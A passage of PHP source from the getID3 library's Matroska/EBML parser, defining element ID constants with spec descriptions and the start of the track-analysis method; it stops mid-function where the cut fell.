define('EBML_ID_ATTACHMENTS',               0x0941A469); // [19][41][A4][69] -- Contain attached files.
define('EBML_ID_EBML',                      0x0A45DFA3); // [1A][45][DF][A3] -- Set the EBML characteristics of the data to follow. Each EBML document has to start with this.
define('EBML_ID_CUES',                      0x0C53BB6B); // [1C][53][BB][6B] -- A top-level element to speed seeking access. All entries are local to the segment.
define('EBML_ID_CLUSTER',                   0x0F43B675); // [1F][43][B6][75] -- The lower level element containing the (monolithic) Block structure.
define('EBML_ID_LANGUAGE',                    0x02B59C); //     [22][B5][9C] -- Specifies the language of the track in the Matroska languages form.
define('EBML_ID_TRACKTIMECODESCALE',          0x03314F); //     [23][31][4F] -- The scale to apply on this track to work at normal speed in relation with other tracks (mostly used to adjust video speed when the audio length differs).
define('EBML_ID_DEFAULTDURATION',             0x03E383); //     [23][E3][83] -- Number of nanoseconds (i.e. not scaled) per frame.
define('EBML_ID_CODECNAME',                   0x058688); //     [25][86][88] -- A human-readable string specifying the codec.
define('EBML_ID_CODECDOWNLOADURL',            0x06B240); //     [26][B2][40] -- A URL to download about the codec used.
define('EBML_ID_TIMECODESCALE',               0x0AD7B1); //     [2A][D7][B1] -- Timecode scale in nanoseconds (1.000.000 means all timecodes in the segment are expressed in milliseconds).
define('EBML_ID_COLOURSPACE',                 0x0EB524); //     [2E][B5][24] -- Same value as in AVI (32 bits).
define('EBML_ID_GAMMAVALUE',                  0x0FB523); //     [2F][B5][23] -- Gamma Value.
define('EBML_ID_CODECSETTINGS',               0x1A9697); //     [3A][96][97] -- A string describing the encoding setting used.
define('EBML_ID_CODECINFOURL',                0x1B4040); //     [3B][40][40] -- A URL to find information about the codec used.
define('EBML_ID_PREVFILENAME',                0x1C83AB); //     [3C][83][AB] -- An escaped filename corresponding to the previous segment.
define('EBML_ID_PREVUID',                     0x1CB923); //     [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits).
define('EBML_ID_NEXTFILENAME',                0x1E83BB); //     [3E][83][BB] -- An escaped filename corresponding to the next segment.
define('EBML_ID_NEXTUID',                     0x1EB923); //     [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits).
define('EBML_ID_CONTENTCOMPALGO',               0x0254); //         [42][54] -- The compression algorithm used. Algorithms that have been specified so far are:
define('EBML_ID_CONTENTCOMPSETTINGS',           0x0255); //         [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track.
define('EBML_ID_DOCTYPE',                       0x0282); //         [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case).
define('EBML_ID_DOCTYPEREADVERSION',            0x0285); //         [42][85] -- The minimum DocType version an interpreter has to support to read this file.
define('EBML_ID_EBMLVERSION',                   0x0286); //         [42][86] -- The version of EBML parser used to create the file.
define('EBML_ID_DOCTYPEVERSION',                0x0287); //         [42][87] -- The version of DocType interpreter used to create the file.
define('EBML_ID_EBMLMAXIDLENGTH',               0x02F2); //         [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska).
define('EBML_ID_EBMLMAXSIZELENGTH',             0x02F3); //         [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid.
define('EBML_ID_EBMLREADVERSION',               0x02F7); //         [42][F7] -- The minimum EBML version a parser has to support to read this file.
define('EBML_ID_CHAPLANGUAGE',                  0x037C); //         [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form.
define('EBML_ID_CHAPCOUNTRY',                   0x037E); //         [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains.
define('EBML_ID_SEGMENTFAMILY',                 0x0444); //         [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits).
define('EBML_ID_DATEUTC',                       0x0461); //         [44][61] -- Date of the origin of timecode (value 0), i.e. production date.
define('EBML_ID_TAGLANGUAGE',                   0x047A); //         [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form.
define('EBML_ID_TAGDEFAULT',                    0x0484); //         [44][84] -- Indication to know if this is the default/original language to use for the given tag.
define('EBML_ID_TAGBINARY',                     0x0485); //         [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString.
define('EBML_ID_TAGSTRING',                     0x0487); //         [44][87] -- The value of the Tag.
define('EBML_ID_DURATION',                      0x0489); //         [44][89] -- Duration of the segment (based on TimecodeScale).
define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the data was encrypted with.
define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.


/**
* @tutorial http://www.matroska.org/technical/specs/index.html
*
* @todo Rewrite EBML parser to reduce it's size and honor default element values
* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
*/
class getid3_matroska extends getid3_handler
{
	/**
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $hide_clusters    = true;

	/**
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $parse_whole_file = false;

	/*
	 * Private parser settings/placeholders.
	 */
	private $EBMLbuffer        = '';
	private $EBMLbuffer_offset = 0;
	private $EBMLbuffer_length = 0;
	private $current_offset    = 0;
	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);

	/**
	 * @return bool
	 */
	public function Analyze()
	{
		$info = &$this->getid3->info;

		// parse container
		try {
			$this->parseEBML($info);
		} catch (Exception $e) {
			$this->error('EBML parser: '.$e->getMessage());
		}

		// calculate playtime
		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
			foreach ($info['matroska']['info'] as $key => $infoarray) {
				if (isset($infoarray['Duration'])) {
					// TimecodeScale is how many nanoseconds each Duration unit is
					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
					break;
				}
			}
		}

		// extract tags
		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
			foreach ($info['matroska']['tags'] as $key => $infoarray) {
				$this->ExtractCommentsSimpleTag($infoarray);
			}
		}

		// process tracks
		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {

				$track_info = array();
				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }

				switch ($trackarray['TrackType']) {

					case 1: // Video
						$track_info['resolution_x'] = $trackarray['PixelWidth'];
						$track_info['resolution_y'] = $trackarray['PixelHeight'];
						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);

						if (isset($trackarray['PixelCropBottom']))  { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
						if (isset($trackarray['PixelCropTop']))     { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
						if (isset($trackarray['PixelCropLeft']))    { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
						if (isset($trackarray['PixelCropRight']))   { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
						if (!empty($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
						if (isset($trackarray['CodecName']))        { $track_info['codec']       = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'V_MS/VFW/FOURCC':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							/*case 'V_MPEG4/ISO/AVC':
								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
								$h264['NALUlength'] = ($rn & 3) + 1;
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
								$nsps               = ($rn & 31);
								$offset             = 6;
								for ($i = 0; $i < $nsps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
								$offset            += 1;
								for ($i = 0; $i < $npps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
								break;*/
						}

						$info['video']['streams'][$trackarray['TrackUID']] = $track_info;
						break;

					case 2: // Audio
						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'A_PCM/INT/LIT':
